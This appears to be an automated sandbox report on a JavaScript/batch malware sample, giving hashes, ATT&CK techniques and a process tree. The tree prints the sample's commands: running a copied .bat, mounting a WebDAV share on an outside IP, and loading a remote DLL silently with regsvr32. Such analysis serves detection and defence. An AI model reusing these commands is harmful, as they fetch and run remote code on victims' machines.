3905939203105e8b4be245715f8aab7974158a1ca6db9cb748fa74e43b98b528

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
09/07/2024, 12:04

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General

Target

27388171162814529444.js
Size

5KB
MD5

f930c197abfe4b50fbd4abc181a06be3
SHA1

10c59ad6c7d00e6ab8c13f07434ccbdd625b736a
SHA256

3905939203105e8b4be245715f8aab7974158a1ca6db9cb748fa74e43b98b528
SHA512

53d4ed4f0059f071c2042df90cd15491564d672b0fe51c93e45dc95261f4fd350a60f21a9a181a4ef2607b72b0d155271e82792776c2a34a7ada7a70f76ee16e
SSDEEP

96:Cxa3Ul3UTYvh+B2YyKmpuQvRQ/zBFG3kfU42XleGo84ug4ylJcE3SIS614OZxAUK:TITyxtOoI0tpWxfA6vSx6Cgpt3ptLxtJ

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2820	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1856 wrote to memory of 3016	1856	wscript.exe	30
PID 1856 wrote to memory of 3016	1856	wscript.exe	30
PID 1856 wrote to memory of 3016	1856	wscript.exe	30
PID 3016 wrote to memory of 2644	3016	cmd.exe	32
PID 3016 wrote to memory of 2644	3016	cmd.exe	32
PID 3016 wrote to memory of 2644	3016	cmd.exe	32
PID 3016 wrote to memory of 2820	3016	cmd.exe	33
PID 3016 wrote to memory of 2820	3016	cmd.exe	33
PID 3016 wrote to memory of 2820	3016	cmd.exe	33
PID 3016 wrote to memory of 2820	3016	cmd.exe	33
PID 3016 wrote to memory of 2820	3016	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\27388171162814529444.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\27388171162814529444.js" "C:\Users\Admin\\cffzro.bat" && "C:\Users\Admin\\cffzro.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3016
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2644
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\142.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2820

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\cffzro.bat

Filesize
5KB

MD5
f930c197abfe4b50fbd4abc181a06be3

SHA1
10c59ad6c7d00e6ab8c13f07434ccbdd625b736a

SHA256
3905939203105e8b4be245715f8aab7974158a1ca6db9cb748fa74e43b98b528

SHA512
53d4ed4f0059f071c2042df90cd15491564d672b0fe51c93e45dc95261f4fd350a60f21a9a181a4ef2607b72b0d155271e82792776c2a34a7ada7a70f76ee16e

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